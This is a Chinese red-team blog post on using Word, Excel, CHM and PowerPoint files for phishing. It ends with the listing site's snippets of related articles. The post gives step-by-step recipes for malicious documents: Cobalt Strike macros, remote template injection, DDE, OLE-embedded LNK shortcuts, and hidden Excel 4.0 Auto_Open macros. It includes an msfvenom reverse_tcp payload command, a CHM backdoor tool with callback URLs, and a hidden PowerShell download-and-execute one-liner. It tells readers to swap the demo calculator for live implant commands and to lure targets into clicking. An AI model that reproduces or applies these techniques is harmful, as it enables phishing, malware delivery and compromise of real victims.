红队和漏洞挖掘中那些关于”文档“的妙用(上)

VSole2022-05-06 07:37:25

0x01 前言

为什么会有这篇文章,其实是一个非常有意思的事情。在安全领域,有非常多涉及Word、Execl、PDF、CHM、PPT等等文档的攻击手法,从Web领域到红队领域,使用各种文档来进行攻击的姿势层出不穷,本文希望起到一个抛砖引玉的功能,尽量把各种使用“文档“的攻击姿势讲全。那么废话不多说,让我们先从最经典的使用文档进行钓鱼的功能讲起。

0x02 使用Word文档进行钓鱼的若干种姿势

1.Word宏上线的变种姿势(缺陷Word宏)

众所周知,学习Word宏钓鱼的第一步就是使用Cobalt Strike生成一个恶意宏。当然现在这种方法绝对无效了。但只要把恶意宏最末尾的一块代码删掉,恶意Word仍然能够上线,并且能在一定程度上规避查杀(数个月前还是能过360的)


2.利用DOCX文档远程模板注入执行宏

首先,我们创造一个包含恶意代码的普通dotm宏文件,这个没有什么可说的。并且把这个恶意dotm上传到Web服务器上,假设其地址为http://www.abc.com/test.dotm。

接着创建一个正常的dotm文档,点击开始

在模板这里选择一个模板,这个根据钓鱼的需求而定,比如你可以选择求职信模板,然后发给目标的人事部门什么的


我们把这个包含模板的docx文件后缀名改成zip,解压,找到如下目录中的文件


编辑该文件,将这个地方的地址替换成刚刚我们的dotm文件的远程地址


将文件的后缀名重新改回DOCX,这样我们就得到了一个远程模板注入的恶意DOCX文件

3.Word DDE

Microsoft Office Word 的一个执行任意代码的方法,可以在不启用宏的情况下执行任意程序。

这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容,比如说在一个 word 文档里引用了另一个 excel 表格里的某项内容,通过连接域 (Field) 的方式可以实现在 excel 里更新内容后 word 中同步更新的效果,问题出在这个域的内容可以是一个公式 (或者说表达式),这个公式并不限制内容。

实用性相较于宏来说更为实用。DDE执行时用户点击两个按钮即可执行。


新建Word文档,CTRL+F9,在文档中出现"{}"之后将代码复制大括号之间,保存文件:

比方说我这里就填一个弹计算器的代码,不过实战中肯定是填Cobalt Strike无文件落地的攻击语句了。

对方打开后就会执行你写入的命令

4.Office OLE+LNK

不难看出这个姿势其实是一个组合姿势,既用到了LNK恶意文件的知识点,也用到了office OLE的知识点,首先新建一个快捷方式,本文还是以弹计算器的PS语句进行演示,实战中记得换成上线语句即可。

新建一个快捷方式

目标位置填写命令操作:

%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -command calc

起始位置填:

%windir%\system32\WindowsPowerShell\v1.0


在Word或Excel中插入对象,选择package,为了提高诱导性点击勾选显示为图标,更改图标为word或者excel等迷惑性更大的图标。

相关图标可在C:\Program Files\Windows NT\Accessories中找到,你也可以换成别的文本图标,Word的图标在C:\Program Files\Microsoft Office\root\Office16 总之是WORD根目录。

这里还有一个“题注“的功能,为了让效果看起来更真实,记得把这个题注的名字也改改,本文这里就使用默认的Package了。


点击完确定之后会让你选择一个软件包,选择我们第一步做好的那个恶意LNK文件


搞完之后你的文档里就出现了这么个东西,别人双击就会触发恶意lnk,至于怎么让骗别人双击,那就看你的本事了!

5.Office Word 本身的一些漏洞

说真的,实战环境下很少有人会用Word进行钓鱼,其一是免杀不好做,其二是不稳定非常容易掉线。如果真的要用Word进行钓鱼,最好是利用Word本身的一些漏洞。比如说近期的CVE-2021-40444 Office Word远程代码执行漏洞。

当然这些漏洞其实可遇不可求,加之攻击者也无法确定目标机器上到底有没有打相关的补丁,所以风险还是大,实战也绝对不推荐大家使用这种方法去钓(如果说是那种刚出没几天还热乎的Office Word漏洞,倒是可以试着用一下)。

如果你要找这些漏洞学习,有个搜索技巧,直接搜office CVE就可以找到这些漏洞

0x03 使用Excel文档进行钓鱼的若干姿势

1.Excel文档远程加载msi文件钓鱼

Excel文档与Word文档一样,都是支持宏功能的,因此我们也可以用Excel文档进行钓鱼,不过,使用Excel文档进行钓鱼需要使用Metasploit生成一个恶意msi文件

首先我们需要用MSF生成一个恶意msi文件,在msf中我们使用如下命令生成。这种打命令的事非常简单,就不配图了

msfvenom -p windows/meterpreter/reverse_tcp lhost=MSF部署的IP地址 lport=监听端口 -f msi > 路径/test.msi

我们将刚刚生成好的test.msi放到远程服务器上(同前文对dotm的操作一样),记录其地址

完成上述操作之后我们新建一个Excel文档,选中一个单元格,右键-插入

选择插入宏表(注意,这两步只有用4.0的Excel才可以做到)

接着我们得到了一个看似空白的格子,没关系,我们在这里输入我们的恶意代码(注:msiexec是系统自带的一个工具,如果你想执行别的工具也可以打在上面,不过大概率被杀,HALT是Excel文档代码的退出代码,不加容易报错)

为了用户能够在打开Excel文档时自动执行我们的恶意代码,我们要选中这个EXEC代码所在的框框,然后把它的类型改成Auto_Open

接着我们右键恶意代码-隐藏,即可把我们的恶意代码隐藏起来(不然别人打开的时候会看到)

这里不得不提一嘴,在2016版本以及以上的Excel文档中,如果你想让Excel文档包含宏,那么它的后缀必须被命名为xlsm,但是在之前的版本中,即使是xlsx也是可以执行的。

2.Office Excel 自身的一些漏洞

与Word同理,也非常不推荐使用Excel进行钓鱼。如果有新出的漏洞可以一试,如果你想研究Excel的历史漏洞,github搜索“office CVE“ 或者 ”Excel CVE“即可找到这些漏洞。



0x04 CHM电子书钓鱼

  1. 借助github上的项目生成一个CHM格式钓鱼文件
项目地址是:https://github.com/Ridter/MyJSRat

它的用法非常简单,把它放在你的VPS上,执行如下命令:

Python MyJSRat.py -i 服务器地址 -p 监听端口

运行之后会生成三个地址,分别是:

http://host:port/connect     //受害者的回连监听地址
http://host:port/wtf          //恶意代码的存放地址
http://host:port/hook

接着我们新建一个HTML文件,其内容为:

Mousejack replay
command exec




</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">x.Click();</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">

这里的想执行的payload可以是Cobalt Strike的无文件落地上线语句,当然本文前面提到了一个/wtf文件,可以把里面的恶意代码粘贴上去

接着我们保存时选择ANSI编码,这样就制作好了一个携带恶意代码的HTML文件

接着我们下载一个Easy CHM来制作恶意CHM文档,我们选择新建-导入文件夹,选择恶意HTML文件所在的文件夹(多提一句,刚刚那个恶意HTML代码有能力的还可以自己进行润色,让其更具有迷惑性)


我们点击编译之后,就做出了一个恶意CHM文件了

0x05 PPT钓鱼

  1. 简单制作一个用于钓鱼的PPTX文件

鲜有人知道PPT也能拿来钓鱼,这里主要是借用PPT中的“动作按钮“

然后在弹出的窗口处:

比如填入上线CS的语句:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"

然后将PPT格式保存为ppsx格式保存即可 打开即上线

0x06 结语

在本文,我们主要介绍了一些利用各种文档进行钓鱼的操作,对应标题的“红队“,当然非常可惜的是,随着主流杀软的不断更新,文档钓鱼越来越难做,如果不借助宏免杀工具或者是新出的Office类产品漏洞,很难对目标起到什么作用。

但是文档在攻防的其它领域没有用武之地了吗?我想不是,在WEB安全的领域,借助文档仍然能打出一些骚操作。下篇文章会提到如何利用PDF进行XSS、RCE,以及利用Word和Excel进行XXE攻击,敬请期待。

漏洞漏洞挖掘
本作品采用《CC 协议》,转载必须注明作者和本文链接
src漏洞挖掘浅谈
2023-02-20 11:22:13
信息收集就说到这里,信息收集的主要目的就是扩大可利用面,10000万个资产你可能碰到弱口令,但1个资产你肯定没有弱口令挖掘前篇前边已经讲了信息收集,在测试前为了能高效的挖掘src,就需要有数据进行测试,这个数据就是我们常说的字典,字典怎么来,整理,收集,经验,积累。金额,数量都是可以篡改的地方小结挖掘src漏洞最主要还是挖掘逻辑漏洞,无非就是耐心,细节,多留意数据包的可疑数据,数据包所实现的功能。
首先要上分那么一定是批量刷漏洞,不然不可能上得了分的,然后呢,既然要批量刷漏洞。两种思路:1.审计通用性漏洞2.用大佬已公布的漏洞思路1难度较大,耗时也较长。思路2难度适中,就是需要写脚本或者使用别人已经写好的脚本。这是泛微继与微信企业号合作后,又一个社交化管理平台的落地成果。简单的说,一般比较大的企业都会用这个平台来做一些钉钉或者微信接口对接泛微OA的功能。
关于漏洞的基础知识
2022-07-20 09:44:23
黑客可以通过修改事件完成的顺序来改变应用的行为。所以,进行有效的验证是安全处理文件的重要保证。这种类型的漏洞有可能是编程人员在编写程序时,因为程序的逻辑设计不合理或者错误而造成的程序逻辑漏洞。这种类型的漏洞最典型的是缓冲区溢出漏洞,它也是被黑客利用得最多的一种类型的漏洞
网络安全漏洞(以下简称“漏洞”)作为信息通信网络中在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,随着经济社会信息化、网络化、数字化和智能化程度的加深,对国家网络安全的影响也日益加剧。世界各主要国家和组织为了切实提升国家网络安全防护能力,围绕漏洞的研究、收集和利用,纷纷建立国家级漏洞通报平台或漏洞数据库。日本于2003年开始建设“日本漏洞通报”(JVN)平台;美国于 2005 年开始建设“
细说从0开始挖掘cms-
2022-08-17 16:26:57
确立目标挖洞的第一步首先是确立一个目标,也就是找个cms来挖,这里可以通过github,gitee或者谷歌百度直接去搜cms。或者cnvd查看相应的信息,通过查看相应的信息可以提高我们挖洞的效率,我们从中可以知道该项目已经存在漏洞,我们到时候挖就可以看看相应的地方会不会还存在漏洞或者避免挖到别人挖过的漏洞。本次挖掘漏洞是ofcms,首先先下载一下源码,然后解压丢一边,回到网页来看一下项目文档。
最后对响应的匹配,使用正则识别id命令之后的结果。成功扫描出CVE-2022-1388F5 BIG-IP API Unauthenticated RCE漏洞漏洞的请求也变异无误,最后的响应中也是执行了id命令。案例二:利用Scalpel工具挖掘多个0day漏洞Scalpel工具使用较为灵活,通过对检测目标变异响应的check,可以发现检测目标中未知的安全问题。同时发现某Apache开源项目的CVE漏洞,报告被该团队接受并正在修复,尚未披露。
攻击者可在无需认证的情况下,通过构造特殊的请求,触发反序列化,从而执行任意代码,接管运行ForgeRock AM的服务器。本文从漏洞挖掘的角度分析其中的技术细节,也将公开一些其他的反序列化点。
对于公益SRC来说,想要冲榜就不能在一个站上浪费大量时间,公益SRC对洞的质量要求不高,所以只要 花时间,还是可以上榜的。在对某站点进行测试SQL注入的时候,先通过一些方式测试是否可能存在漏洞,然后可以直接sqlmap一把梭,也可以手工测试,然后提交漏洞。任意注册算是低危漏洞,不过也有两分。不管是进行SRC漏洞挖掘,还是做项目进行渗透测试,又或者是打红蓝对抗,一定要做好信息收集。
VSole
网络安全专家